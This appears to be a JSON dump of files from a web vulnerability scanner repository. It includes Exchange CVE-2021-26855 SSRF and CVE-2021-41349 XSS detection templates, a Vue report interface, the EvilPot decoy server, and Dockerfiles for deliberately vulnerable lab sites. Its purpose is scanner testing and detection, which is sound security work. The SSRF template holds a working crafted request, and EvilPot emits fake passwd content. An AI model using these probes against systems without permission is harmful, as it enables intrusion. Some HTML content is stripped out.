MaxSecurity(https://github.com/MaxSecurity)\n links:\n - https://github.com/mstxq17/CodeCheck/\n - https://www.anquanke.com/post/id/168991\n" }, { "path": "pocs/exchange-cve-2021-26855-ssrf.yml", "content": "name: poc-yaml-exchange-cve-2021-26855-ssrf\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n method: GET\n path: /owa/auth/x.js\n headers:\n Cookie: X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;\n follow_redirects: false\n expression: response.headers[\"X-CalculatedBETarget\"].icontains(\"localhost\")\nexpression: r0()\ndetail:\n author: sharecast\n links:\n - https://github.com/microsoft/CSS-Exchange/blob/main/Security/http-vuln-cve2021-26855.nse\n Affected Version: Exchange 2013 Versions < 15.00.1497.012, Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009, Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010\n" }, { "path": "pocs/exchange-cve-2021-41349-xss.yml", "content": "name: poc-yaml-exchange-cve-2021-41349-xss\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n method: POST\n path: \"/autodiscover/autodiscover.json\"\n headers:\n Content-Type: application/x-www-form-urlencoded\n body: \n expression: |\n response.status == 500 && response.body.bcontains(b\"\n\n\n\n
\n\n\n\n\n\n\n\n\n\n\n" }, { "path": "report/src/App.vue", "content": "\n\n" }, { "path": "report/src/assets/.gitkeep", "content": "" }, { "path": "report/src/components/ServiceVulnerability.vue", "content": "\n\n" }, { "path": "report/src/components/Subdomain.vue", "content": "\n\n" }, { "path": "report/src/components/WebVulnerability.vue", "content": "\n\n" }, { "path": "report/src/icons.js", "content": "// 减少 bundle 体积，用什么引用什么\n\nexport {\n default as SearchOutline\n} from '@ant-design/icons/lib/outline/SearchOutline'\nexport {\n default as ReloadOutline\n} from '@ant-design/icons/lib/outline/ReloadOutline'\n\nexport {\n default as FilterFill\n} from '@ant-design/icons/lib/fill/FilterFill'\n\nexport {\n default as CheckCircleFill\n} from '@ant-design/icons/lib/fill/CheckCircleFill'\n\nexport {\n default as CloseCircleFill\n} from '@ant-design/icons/lib/fill/CloseCircleFill'\n\nexport {\n default as CaretUpFill\n} from '@ant-design/icons/lib/fill/CaretUpFill'\n\nexport {\n default as CaretDownFill\n} from '@ant-design/icons/lib/fill/CaretDownFill'\n\n" }, { "path": "report/src/main.js", "content": "import Vue from \"vue\";\nimport App from \"./App.vue\";\nimport VueClipboard from 'vue-clipboard2'\nimport {Button, Card, Descriptions, Input, Layout, message, Modal, Table, Switch} from \"ant-design-vue\";\n\nVue.use(VueClipboard)\nVue.component(Layout.name, Layout)\nVue.component(Layout.Content.name, Layout.Content)\nVue.component(Layout.Header.name, Layout.Header)\nVue.component(Layout.Footer.name, Layout.Footer)\nVue.component(Button.name, Button)\nVue.component(Card.name, Card)\nVue.component(Table.name, Table)\nVue.component(Table.Column.name, Table.Column)\nVue.component(Modal.name, Modal)\nVue.component(Input.name, Input)\nVue.component(Input.Search.name, Input.Search)\nVue.component(Input.TextArea.name, Input.TextArea)\nVue.component(Descriptions.name, Descriptions)\nVue.component(Descriptions.Item.name, Descriptions.Item)\nVue.component(Switch.name, Switch)\n\nVue.config.productionTip = false;\nVue.prototype.$message = message\nVue.prototype.$copy = function (data) {\n this.$copyText(data).then(function (e) {\n Vue.prototype.$message.success('Copied', 3)\n }, function (e) {\n message.error('Can not copy', 3)\n })\n}\n\nVue.filter('humanize', function (timestamp) {\n let date = new Date(timestamp);\n\n let month = date.getMonth() + 1;\n let day = date.getDate();\n let hour = date.getHours();\n let min = date.getMinutes();\n let sec = date.getSeconds();\n\n month = (month < 10 ? \"0\" : \"\") + month;\n day = (day < 10 ? \"0\" : \"\") + day;\n hour = (hour < 10 ? \"0\" : \"\") + hour;\n min = (min < 10 ? \"0\" : \"\") + min;\n sec = (sec < 10 ? \"0\" : \"\") + sec;\n\n return date.getFullYear() + \"-\" + month + \"-\" + day + \" \" + hour + \":\" + min + \":\" + sec;\n})\n\nVue.filter('capitalize', function (value) {\n if (!value) return ''\n value = value.toString()\n return value.charAt(0).toUpperCase() + value.slice(1)\n})\n\nVue.prototype.$debounce = function debounce(fn, delay) {\n let timer\n return function () {\n // 保存函数调用时的上下文和参数，传递给 fn\n let context = this\n let args = arguments\n // 每次这个返回的函数被调用，就清除定时器，以保证不执行 fn\n clearTimeout(timer)\n // 当返回的函数被最后一次调用后（也就是用户停止了某个连续的操作），\n // 再过 delay 毫秒就执行 fn\n timer = setTimeout(function () {\n fn.apply(context, args)\n }, delay)\n }\n}\n\nnew Vue({\n render: h => h(App)\n}).$mount(\"#app\");\n" }, { "path": "report/src/views/Home.vue", "content": "\n\n\n\n\n" }, { "path": "report/vue.config.js", "content": "const HTMLInlineSourceWebpackPlugin = require('html-webpack-inline-source-plugin');\nconst webpack = require('webpack');\nconst path = require('path')\n\nconst vueConfig = {\n configureWebpack: {\n optimization: {\n splitChunks: false // makes there only be 1 js file - leftover from earlier attempts but doesn't hurt\n },\n plugins: [\n new webpack.ContextReplacementPlugin(/moment[/\\\\]locale$/, /cn|en/),\n new HTMLInlineSourceWebpackPlugin()\n ],\n resolve: {\n alias: {\n '@ant-design/icons/lib/dist$': path.join(__dirname, './src/icons.js')\n }\n },\n },\n chainWebpack: config => {\n config\n .plugin('html')\n .tap(args => {\n args[0].inlineSource = '.(js|css)$'\n return args\n })\n },\n css: {\n extract: false,\n loaderOptions: {\n less: {\n modifyVars: {\n // less vars，customize ant design theme\n\n // 'primary-color': '#F5222D',\n // 'link-color': '#F5222D',\n // 'border-radius-base': '4px'\n },\n javascriptEnabled: true\n }\n }\n },\n\n devServer: {\n // development server port 8000\n port: 8000\n // proxy: {\n // '/api': {\n // target: 'https://mock.ihx.me/mock/5baf3052f7da7e07e04a5116/antd-pro',\n // ws: false,\n // changeOrigin: true\n // }\n // }\n },\n\n // disable source map in production\n productionSourceMap: false,\n};\n\nmodule.exports = vueConfig;\n" }, { "path": "report/webstorm.config.js", "content": "'use strict'\nconst path = require('path')\n\nfunction resolve (dir) {\n return path.join(__dirname, '.', dir)\n}\n\nmodule.exports = {\n context: path.resolve(__dirname, './'),\n resolve: {\n extensions: ['.js', '.vue', '.json'],\n alias: {\n '@': resolve('src')\n }\n }\n}\n" }, { "path": "tests/.gitkeep", "content": "" }, { "path": "tests/README.md", "content": "# 测试靶场\n\n## Evil Pot\n\n`evilpot`目录下是我们实现的一个用于提高插件质量的测试靶场。\n\n`evilpot`集成了一些常见的容易导致扫描器误报的情况，编写插件的过程应该尽量避免能在这个靶场扫描出结果。\n\n## 常用靶场\n\n这里依靠社区力量收集了几个常用的靶站，可以通过 docker/docker-compose 一键启用。活动开始后，我们注意到在这个repo\n中 https://github.com/c0ny1/vulstudy ，作者已经收集了 12 个靶站，这些靶站基本符合我们的要求，所以后续提交中与该 repo\n中靶站有所重复的将不再收录。\n\n已有的靶站列表:\n\n- DVWA\n- bWAPP\n- sqli-labs\n- mutillidae\n- BodgeIt\n- WackoPicko\n- WebGoat\n- Hackademic\n- XSSed\n- DSVW\n- vulnerable-node\n- MCIR\n" }, { "path": "tests/evilpot/README.md", "content": "Evil Pot\n===\n\n邪恶的罐子\n\n一个专门用于让扫描器产生误报的靶场\n\n编写插件应该尽量避免能在这个靶场扫描出结果\n\n## 默认监听端口\n\n- 8887: evil server 让扫描器产生误报 困难模式\n - 普通模式的基础上对所有请求元素进行拆解计算sha1/md5/base64\n - /etc/passwd和win.ini的内容\n- 8888: evil server 让扫描器产生误报 普通模式\n - 常见状态码\n - 常见报错信息\n - 常见页面\n - 常见登录框\n - 常见xml头\n - 1-1000的sha1/md5/base64\n - 回显完整请求\n - 尝试计算请求中的算式\n - 尝试进行`sleep`和`wait for`的执行\n- 8889: echo server 回显所有读到的数据\n\n可在此处下载体验：https://github.com/chaitin/xray/releases?q=EvilPot&expanded=true" }, { "path": "tests/evilpot/build.ps1", "content": "$targets = @(\n @{GOOS=\"darwin\"; GOARCH=\"amd64\"; Output=\"evilpot_darwin_amd64\"},\n @{GOOS=\"darwin\"; GOARCH=\"arm64\"; Output=\"evilpot_darwin_arm64\"},\n @{GOOS=\"linux\"; GOARCH=\"386\"; Output=\"evilpot_linux_386\"},\n @{GOOS=\"linux\"; GOARCH=\"amd64\"; Output=\"evilpot_linux_amd64\"},\n @{GOOS=\"linux\"; GOARCH=\"arm64\"; Output=\"evilpot_linux_arm64\"},\n @{GOOS=\"windows\"; GOARCH=\"amd64\"; Output=\"evilpot_windows_amd64.exe\"}\n)\n\nforeach ($target in $targets) {\n $env:GOOS = $target.GOOS\n $env:GOARCH = $target.GOARCH\n $output = $target.Output\n\n Write-Host \"Building for $($env:GOOS)/$($env:GOARCH)...\"\n go build -o $output .\n\n if ($LASTEXITCODE -eq 0) {\n Write-Host \"Successfully built $output\"\n } else {\n Write-Host \"Failed to build $output\"\n }\n}\n\nRemove-Item env:GOOS\nRemove-Item env:GOARCH\n" }, { "path": "tests/evilpot/build.sh", "content": "#!/bin/bash\n\ntargets=(\n \"darwin amd64 evilpot_darwin_amd64\"\n \"darwin arm64 evilpot_darwin_arm64\"\n \"linux 386 evilpot_linux_386\"\n \"linux amd64 evilpot_linux_amd64\"\n \"linux arm64 evilpot_linux_arm64\"\n \"windows amd64 evilpot_windows_amd64.exe\"\n)\n\nfor target in \"${targets[@]}\"; do\n IFS=' ' read -r -a params <<< \"$target\"\n GOOS=${params[0]}\n GOARCH=${params[1]}\n OUTPUT=${params[2]}\n\n echo \"Building for $GOOS/$GOARCH...\"\n GOOS=$GOOS GOARCH=$GOARCH go build -o $OUTPUT\n\n if [ $? -eq 0 ]; then\n echo \"Successfully built $OUTPUT\"\n else\n echo \"Failed to build $OUTPUT\"\n fi\ndone\n" }, { "path": "tests/evilpot/evil/echo.go", "content": "package evil\n\nimport (\n\t\"io\"\n\t\"log\"\n\t\"net\"\n)\n\nfunc ServeEchoServer(addr string) error {\n\tserver, err := net.Listen(\"tcp\", addr)\n\tif err != nil {\n\t\treturn err\n\t}\n\tfor {\n\t\tconn, err := server.Accept()\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t\tcontinue\n\t\t}\n\t\tgo func() {\n\t\t\t_, _ = io.Copy(conn, conn)\n\t\t}()\n\t}\n}\n" }, { "path": "tests/evilpot/evil/evil.go", "content": "package evil\n\nimport (\n\t\"bytes\"\n\t\"crypto/md5\"\n\t\"crypto/sha1\"\n\t\"encoding/base64\"\n\t\"encoding/hex\"\n\t\"log\"\n\t\"math/big\"\n\t\"net/http\"\n\t\"net/http/httputil\"\n\t\"net/url\"\n\t\"regexp\"\n\t\"strconv\"\n\t\"sync\"\n\t\"time\"\n)\n\nfunc ServeEvilServer(addr string, hard bool) error {\n\treturn http.ListenAndServe(addr, NewEvilServeMux(hard))\n}\n\nfunc NewEvilServeMux(hard bool) *http.ServeMux {\n\ts := http.NewServeMux()\n\tmathRe := regexp.MustCompile(`\\d+\\s*[-+*/]\\s*\\d+`)\n\tsleepRe := regexp.MustCompile(`(?i)sleep\\((\\d+)\\)`)\n\twaitForRe := regexp.MustCompile(`(?i)waitfor\\s+delay\\s+'0:0:(\\d+)'`)\n\ts.HandleFunc(\"/\", func(writer http.ResponseWriter, request *http.Request) {\n\t\tbuf := bufPool.Get().(*bytes.Buffer)\n\t\tdefer func() {\n\t\t\tbuf.Reset()\n\t\t\tbufPool.Put(buf)\n\t\t}()\n\n\t\tbuf.Write(CommonEvilResponse)\n\n\t\tdata, err := httputil.DumpRequest(request, true)\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t}\n\t\tbuf.Write(data)\n\n\t\tif hard {\n\t\t\tSplit(data, SepFunc, func(bytes []byte) bool {\n\t\t\t\tGenEvilContent(buf, bytes)\n\t\t\t\treturn true\n\t\t\t})\n\t\t}\n\n\t\tunescape, _ := url.PathUnescape(string(data))\n\t\tunescape, _ = url.QueryUnescape(unescape)\n\t\tif hard {\n\t\t\tSplit([]byte(unescape), SepFunc, func(bytes []byte) bool {\n\t\t\t\tGenEvilContent(buf, bytes)\n\t\t\t\treturn true\n\t\t\t})\n\t\t}\n\n\t\tif hard {\n\t\t\tbuf.WriteString(\"\\nroot:x:0:0:root:/root:/bin/bash\\n\")\n\t\t\tbuf.WriteString(`\n\t\t\t; for 16-bit app support\n\t\t [fonts]\n\t\t\t[extensions]\n\t\t\t[mci extensions]\n\t\t\t[files]\n\t\t\t[Mail]\n\t\t\tMAPI=1`)\n\t\t}\n\n\t\t// 处理 sleep 和 WAITFOR DELAY\n\t\tsleepMatches := sleepRe.FindAllStringSubmatch(unescape, -1)\n\t\tfor _, match := range sleepMatches {\n\t\t\tif len(match) > 1 {\n\t\t\t\tsleepTime, _ := strconv.Atoi(match[1])\n\t\t\t\tif sleepTime > 50 {\n\t\t\t\t\ttime.Sleep(time.Millisecond * time.Duration(sleepTime))\n\t\t\t\t} else {\n\t\t\t\t\ttime.Sleep(time.Second * time.Duration(sleepTime))\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\twaitForMatches := waitForRe.FindAllStringSubmatch(unescape, -1)\n\t\tfor _, match := range waitForMatches {\n\t\t\tif len(match) > 1 {\n\t\t\t\twaitTime, _ := strconv.Atoi(match[1])\n\t\t\t\tif waitTime > 50 {\n\t\t\t\t\ttime.Sleep(time.Millisecond * time.Duration(waitTime))\n\t\t\t\t} else {\n\t\t\t\t\ttime.Sleep(time.Second * time.Duration(waitTime))\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tfor _, match := range []string{string(data), unescape} {\n\t\t\tfor _, expr := range mathRe.FindAllString(match, -1) {\n\t\t\t\tr, err := calculate(expr)\n\t\t\t\tif err != nil {\n\t\t\t\t\tr = big.NewFloat(0)\n\t\t\t\t}\n\t\t\t\tswitch v := r.(type) {\n\t\t\t\tcase *big.Int:\n\t\t\t\t\tGenEvilContent(buf, []byte(v.String()))\n\t\t\t\tcase *big.Float:\n\t\t\t\t\tGenEvilContent(buf, []byte(v.Text('f', 10)))\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t_, _ = writer.Write(buf.Bytes())\n\t})\n\treturn s\n}\n\nvar bufPool = sync.Pool{New: func() any {\n\treturn bytes.NewBuffer(nil)\n}}\n\nfunc GenEvilContent(dst *bytes.Buffer, data []byte) {\n\tdst.Write(data)\n\thashMD5 := md5.Sum(data)\n\tdst.Write(hashMD5[:])\n\tdst.WriteString(\" \")\n\tdst.WriteString(hex.EncodeToString(hashMD5[:]))\n\tdst.WriteString(\" \")\n\tdst.WriteString(base64.StdEncoding.EncodeToString([]byte(hex.EncodeToString(hashMD5[:]))))\n\tdst.WriteString(\" \")\n\thashSha1 := sha1.Sum(data)\n\tdst.Write(hashSha1[:])\n\tdst.WriteString(hex.EncodeToString(hashSha1[:]))\n\tdst.WriteString(\" \")\n\tdst.WriteString(base64.StdEncoding.EncodeToString([]byte(hex.EncodeToString(hashSha1[:]))))\n\tdst.WriteString(\" \")\n\tdst.WriteString(base64.StdEncoding.EncodeToString(data))\n\tdst.WriteString(\" \")\n}\n\n// CommonEvilResponse\n// 常见md5/sha1/base64 (1-1000的数字)\n// 常见登录表单\n// 常见错误信息\nvar CommonEvilResponse = []byte(`\n\t\t\n\t\tLevel1\n\t\tOA系统\n\t\t\n\t\t\n\t\t

Level1

\n\t\t\n\t\t
\n\t\t

OA系统

\n\t\t \n\t\t
\n\t\t\n\t\t
\n\t\t
\n\t\t

欢迎使用OA系统

\n\t\t

这是一款集办公、管理、协同于一体的企业级应用软件。

\n\t\t
\n\t\t\n\t\t\t
\n\t\t\t
\n\t\t\t\t\n\t\t\t\t\n\t\t\t
\n\t\t\t
\n\t\t\t\t\n\t\t\t\t\n\t\t\t
\n\t\t\t \n\t\t\t
\n\t\t\n\t\t
\n\t\t

新闻动态

\n\t\t \n\t\t
\n\t\t\n\t\t
\n\t\t

通知公告

\n\t\t \n\t\t
\n\t\t
\n\t\t\n\t\t
\n\t\t

© 2023 OA系统 版权所有

\n\t\t
\n\t\t\n\t\t

Oops! Something went wrong.

\n\t\t

We're sorry, but an error has occurred while processing your request. Please try again later.

\n\t\t

Error Code: 400

\n\t\t

Error Code: 401

\n\t\t

Error Code: 403

\n\t\t

Error Code: 404

\n\t\t

Error Code: 500

\n\t\t

Error Code: 501

\n\t\t

Error Code: 502

\n\t\t

Error Code: 503

\n\t\t{\n\t\t \"error\": {\n\t\t \"code\": 404,\n\t\t \"message\": \"未找到请求的资源\",\n\t\t \"details\": \"请检查您的请求URL是否正确，并确保所请求的资源存在。\"\n\t\t }\n\t\t}\n\t\t\n\n\n\n\n\n\n\n\n`)\n\nfunc init() {\n\tbuf := bytes.NewBuffer(nil)\n\tbuf.Write(CommonEvilResponse)\n\tfor i := 0; i < 1000; i++ {\n\t\tGenEvilContent(buf, []byte(strconv.Itoa(i)))\n\t}\n\tCommonEvilResponse = buf.Bytes()\n}\n" }, { "path": "tests/evilpot/evil/util.go", "content": "package evil\n\nimport (\n\t\"math/big\"\n\t\"strconv\"\n\t\"strings\"\n\t\"unicode\"\n)\n\nvar SepFunc = func(b byte) bool {\n\tif 48 <= b && b <= 57 {\n\t\treturn false\n\t}\n\tif b >= 128 {\n\t\treturn false\n\t}\n\tif b >= 65 && b <= 90 {\n\t\treturn false\n\t}\n\tif b >= 97 && b <= 122 {\n\t\treturn false\n\t}\n\treturn true\n}\n\nfunc Split(data []byte, sep func(b byte) bool, handler func([]byte) bool) {\n\tif sep == nil {\n\t\tsep = SepFunc\n\t}\n\tvisible := 0\n\tinvisible := 0\n\tfor i := 0; i < len(data); i++ {\n\t\tif !sep(data[i]) {\n\t\t\tcontinue\n\t\t}\n\t\tinvisible = i\n\t\tif invisible == visible {\n\t\t\tvisible++\n\t\t\tcontinue\n\t\t}\n\t\tb := data[visible:invisible]\n\t\tif !handler(b) {\n\t\t\treturn\n\t\t}\n\t\tvisible = invisible + 1\n\t}\n\tif visible < len(data) {\n\t\thandler(data[visible:])\n\t}\n\treturn\n}\n\nfunc calculate(expression string) (interface{}, error) {\n\t// 去除多余空格\n\texpression = strings.TrimSpace(expression)\n\texpression = strings.ReplaceAll(expression, \" \", \"\")\n\n\t// 定义运算符优先级\n\tprecedence := map[rune]int{\n\t\t'+': 1,\n\t\t'-': 1,\n\t\t'*': 2,\n\t\t'/': 2,\n\t}\n\n\t// 定义两个栈，一个存操作数，一个存操作符\n\tvar numStack []interface{}\n\tvar opStack []rune\n\n\t// 辅助函数，用于执行整数计算\n\tapplyOpInt := func(op rune, b, a *big.Int) *big.Int {\n\t\tresult := new(big.Int)\n\t\tswitch op {\n\t\tcase '+':\n\t\t\treturn result.Add(a, b)\n\t\tcase '-':\n\t\t\treturn result.Sub(a, b)\n\t\tcase '*':\n\t\t\treturn result.Mul(a, b)\n\t\tcase '/':\n\t\t\treturn result.Div(a, b)\n\t\tdefault:\n\t\t\treturn big.NewInt(0)\n\t\t}\n\t}\n\n\t// 辅助函数，用于执行浮点数计算\n\tapplyOpFloat := func(op rune, b, a *big.Float) *big.Float {\n\t\tresult := new(big.Float)\n\t\tswitch op {\n\t\tcase '+':\n\t\t\treturn result.Add(a, b)\n\t\tcase '-':\n\t\t\treturn result.Sub(a, b)\n\t\tcase '*':\n\t\t\treturn result.Mul(a, b)\n\t\tcase '/':\n\t\t\treturn result.Quo(a, b)\n\t\tdefault:\n\t\t\treturn big.NewFloat(0)\n\t\t}\n\t}\n\n\t// 判断字符串是否为整数\n\tisInteger := func(s string) bool {\n\t\t_, err := strconv.ParseInt(s, 10, 64)\n\t\treturn err == nil\n\t}\n\n\t// 将操作数转换为浮点数\n\ttoBigFloat := func(num interface{}) *big.Float {\n\t\tswitch v := num.(type) {\n\t\tcase *big.Int:\n\t\t\treturn new(big.Float).SetInt(v)\n\t\tcase *big.Float:\n\t\t\treturn v\n\t\tdefault:\n\t\t\treturn big.NewFloat(0)\n\t\t}\n\t}\n\n\t// 解析表达式并进行计算\n\ti := 0\n\tfor i < len(expression) {\n\t\tchar := rune(expression[i])\n\n\t\tif unicode.IsDigit(char) || char == '.' {\n\t\t\t// 处理数字和小数点\n\t\t\tj := i\n\t\t\tfor j < len(expression) && (unicode.IsDigit(rune(expression[j])) || rune(expression[j]) == '.') {\n\t\t\t\tj++\n\t\t\t}\n\t\t\tnumStr := expression[i:j]\n\t\t\tif isInteger(numStr) {\n\t\t\t\tnum := new(big.Int)\n\t\t\t\tnum, ok := num.SetString(numStr, 10)\n\t\t\t\tif !ok {\n\t\t\t\t\treturn big.NewFloat(0), nil\n\t\t\t\t}\n\t\t\t\tnumStack = append(numStack, num)\n\t\t\t} else {\n\t\t\t\tnum, ok := new(big.Float).SetString(numStr)\n\t\t\t\tif !ok {\n\t\t\t\t\treturn big.NewFloat(0), nil\n\t\t\t\t}\n\t\t\t\tnumStack = append(numStack, num)\n\t\t\t}\n\t\t\ti = j\n\t\t} else if char == '(' {\n\t\t\t// 处理左括号\n\t\t\topStack = append(opStack, char)\n\t\t\ti++\n\t\t} else if char == ')' {\n\t\t\t// 处理右括号\n\t\t\tfor len(opStack) > 0 && opStack[len(opStack)-1] != '(' {\n\t\t\t\top := opStack[len(opStack)-1]\n\t\t\t\topStack = opStack[:len(opStack)-1]\n\t\t\t\tb := numStack[len(numStack)-1]\n\t\t\t\tnumStack = numStack[:len(numStack)-1]\n\t\t\t\ta := numStack[len(numStack)-1]\n\t\t\t\tnumStack = numStack[:len(numStack)-1]\n\n\t\t\t\tif aInt, okA := a.(*big.Int); okA {\n\t\t\t\t\tif bInt, okB := b.(*big.Int); okB {\n\t\t\t\t\t\tresult := applyOpInt(op, bInt, aInt)\n\t\t\t\t\t\tnumStack = append(numStack, result)\n\t\t\t\t\t} else {\n\t\t\t\t\t\tresult := applyOpFloat(op, toBigFloat(b), toBigFloat(a))\n\t\t\t\t\t\tnumStack = append(numStack, result)\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tresult := applyOpFloat(op, toBigFloat(b), toBigFloat(a))\n\t\t\t\t\tnumStack = append(numStack, result)\n\t\t\t\t}\n\t\t\t}\n\t\t\t// 移除左括号\n\t\t\tif len(opStack) > 0 {\n\t\t\t\topStack = opStack[:len(opStack)-1]\n\t\t\t}\n\t\t\ti++\n\t\t} else if strings.ContainsRune(\"+-*/\", char) {\n\t\t\t// 处理运算符\n\t\t\tfor len(opStack) > 0 && precedence[char] <= precedence[opStack[len(opStack)-1]] {\n\t\t\t\top := opStack[len(opStack)-1]\n\t\t\t\topStack = opStack[:len(opStack)-1]\n\t\t\t\tb := numStack[len(numStack)-1]\n\t\t\t\tnumStack = numStack[:len(numStack)-1]\n\t\t\t\ta := numStack[len(numStack)-1]\n\t\t\t\tnumStack = numStack[:len(numStack)-1]\n\n\t\t\t\tif aInt, okA := a.(*big.Int); okA {\n\t\t\t\t\tif bInt, okB := b.(*big.Int); okB {\n\t\t\t\t\t\tresult := applyOpInt(op, bInt, aInt)\n\t\t\t\t\t\tnumStack = append(numStack, result)\n\t\t\t\t\t} else {\n\t\t\t\t\t\tresult := applyOpFloat(op, toBigFloat(b), toBigFloat(a))\n\t\t\t\t\t\tnumStack = append(numStack, result)\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tresult := applyOpFloat(op, toBigFloat(b), toBigFloat(a))\n\t\t\t\t\tnumStack = append(numStack, result)\n\t\t\t\t}\n\t\t\t}\n\t\t\topStack = append(opStack, char)\n\t\t\ti++\n\t\t} else {\n\t\t\treturn big.NewFloat(0), nil\n\t\t}\n\t}\n\n\t// 处理剩余的运算符\n\tfor len(opStack) > 0 {\n\t\top := opStack[len(opStack)-1]\n\t\topStack = opStack[:len(opStack)-1]\n\t\tb := numStack[len(numStack)-1]\n\t\tnumStack = numStack[:len(numStack)-1]\n\t\ta := numStack[len(numStack)-1]\n\t\tnumStack = numStack[:len(numStack)-1]\n\n\t\tif aInt, okA := a.(*big.Int); okA {\n\t\t\tif bInt, okB := b.(*big.Int); okB {\n\t\t\t\tresult := applyOpInt(op, bInt, aInt)\n\t\t\t\tnumStack = append(numStack, result)\n\t\t\t} else {\n\t\t\t\tresult := applyOpFloat(op, toBigFloat(b), toBigFloat(a))\n\t\t\t\tnumStack = append(numStack, result)\n\t\t\t}\n\t\t} else {\n\t\t\tresult := applyOpFloat(op, toBigFloat(b), toBigFloat(a))\n\t\t\tnumStack = append(numStack, result)\n\t\t}\n\t}\n\n\tif len(numStack) != 1 {\n\t\treturn big.NewFloat(0), nil\n\t}\n\n\treturn numStack[0], nil\n}\n" }, { "path": "tests/evilpot/go.mod", "content": "module github.com/chaitin/xray/tests/evilpot\n\ngo 1.21\n\nrequire github.com/dengsgo/math-engine v0.0.0-20230823154425-78f211b48149\n" }, { "path": "tests/evilpot/go.sum", "content": "github.com/dengsgo/math-engine v0.0.0-20230823154425-78f211b48149 h1:TkVfb0s14IUHDGvjQfq3f0PZnV1zh609did4DrnD4q4=\ngithub.com/dengsgo/math-engine v0.0.0-20230823154425-78f211b48149/go.mod h1:zkR27k4K0I8FS6rkEd8qBhPeS8i3X2FKfvSPdF64OpQ=\n" }, { "path": "tests/evilpot/main.go", "content": "package main\n\nimport (\n\t\"flag\"\n\t\"log\"\n\n\t\"github.com/chaitin/xray/tests/evilpot/evil\"\n)\n\nfunc main() {\n\tevilHardAddr := flag.String(\"evil-hard\", \":8887\", \"evil server 困难模式 监听地址\")\n\tevilAddr := flag.String(\"evil\", \":8888\", \"evil server 监听地址\")\n\techoAddr := flag.String(\"echo\", \":8889\", \"echo server 监听地址\")\n\tflag.Parse()\n\n\tlog.Println(\"Starting servers...\")\n\n\tgo func() {\n\t\tlog.Printf(\"Starting evil server in hard mode on %s...\\n\", *evilHardAddr)\n\t\tif err := evil.ServeEvilServer(*evilHardAddr, true); err != nil {\n\t\t\tlog.Fatalf(\"Evil server hard mode failed: %v\\n\", err)\n\t\t}\n\t}()\n\n\tgo func() {\n\t\tlog.Printf(\"Starting evil server on %s...\\n\", *evilAddr)\n\t\tif err := evil.ServeEvilServer(*evilAddr, false); err != nil {\n\t\t\tlog.Fatalf(\"Evil server failed: %v\\n\", err)\n\t\t}\n\t}()\n\n\tgo func() {\n\t\tlog.Printf(\"Starting echo server on %s...\\n\", *echoAddr)\n\t\tif err := evil.ServeEchoServer(*echoAddr); err != nil {\n\t\t\tlog.Fatalf(\"Echo server failed: %v\\n\", err)\n\t\t}\n\t}()\n\n\tselect {}\n}\n" }, { "path": "tests/vulstudy/BodgeIt/Dockerfile", "content": "# Build via:\n# docker build --no-cache -t psiinon/bodgeit -f Dockerfile .\n# Run via:\n# docker run --rm -p 8080:8080 -i -t psiinon/bodgeit\n\nFROM tomcat:8.0\nMAINTAINER Simon Bennetts \"psiinon@gmail.com\"\n\nRUN curl -s -L https://github.com/psiinon/bodgeit/releases/download/1.4.0/bodgeit.war > bodgeit.war && \\\n\tmv bodgeit.war /usr/local/tomcat/webapps\n\n" }, { "path": "tests/vulstudy/BodgeIt/README.md", "content": "# 0x01 安装\n\n```\n# 安装docker\napt-get install docker.io\n# 安装docker-compose\npip install docker-compose\n# 下载vulstudy项目 \ngit clone https://github.com/c0ny1/vulstudy.git\n```\n\n## 0x02 使用\n使用主要分两种：单独运行一个漏洞平台，同时运行多个漏洞平台。\n\n#### 1.单独运行一个漏洞平台\n\ncd到要运行的漏洞平台下运行以下命令\n\n```\ncd vulstudy/DVWA\ndocker-compose up -d #启动容器\ndocker-compose stop #停止容器\n```\n\n#### 2.同时运行所有漏洞平台\n\n在项目根目录下运行以下命令\n\n```\ncd vulstudy\ndocker-compose up -d #启动容器\ndocker-compose stop #停止容器\n```\n![主界面](doc/vulstudy.jpg)\n\n## 0x3 FAQ\n**1.第一次启动bWAPP容器访问其主页会报错如下：**\n\n```\nConnection failed: Unknown database 'bWAPP'\n```\n\n**解决：** 第一次创建应事先访问/install.php来创建数据库！\n\n**2.第一次搭建DVWA，在苹果系统下的safari浏览器下无法初始化数据库，并提示如下：**\n\n```\nCSRF token is incorrect\n```\n\n**解决：** 使用苹果系统下的其他浏览器即可，比如Chrome。\n\n" }, { "path": "tests/vulstudy/BodgeIt/docker-compose.yml", "content": "version: '2'\nservices:\n web:\n #build: .\n image: psiinon/bodgeit:latest\n ports:\n - \"80:8080\"\n \n" }, { "path": "tests/vulstudy/DSVW/Dockerfile", "content": "FROM python:2.7-jessie\n\nMAINTAINER c0ny1 \n\nRUN pip install lxml && \\\n mkdir /app && \\\n cd /app && \\\n wget https://github.com/stamparm/DSVW/raw/master/dsvw.py\nWORKDIR /app/\n\nEXPOSE 65412\nCMD python dsvw.py\n" }, { "path": "tests/vulstudy/DSVW/README.md", "content": "# 0x01 安装\n\n```\n# 安装docker\napt-get install docker.io\n# 安装docker-compose\npip install docker-compose\n# 下载vulstudy项目 \ngit clone https://github.com/c0ny1/vulstudy.git\n```\n\n## 0x02 使用\n使用主要分两种：单独运行一个漏洞平台，同时运行多个漏洞平台。\n\n#### 1.单独运行一个漏洞平台\n\ncd到要运行的漏洞平台下运行以下命令\n\n```\ncd vulstudy/DVWA\ndocker-compose up -d #启动容器\ndocker-compose stop #停止容器\n```\n\n#### 2.同时运行所有漏洞平台\n\n在项目根目录下运行以下命令\n\n```\ncd vulstudy\ndocker-compose up -d #启动容器\ndocker-compose stop #停止容器\n```\n![主界面](doc/vulstudy.jpg)\n\n## 0x3 FAQ\n**1.第一次启动bWAPP容器访问其主页会报错如下：**\n\n```\nConnection failed: Unknown database 'bWAPP'\n```\n\n**解决：** 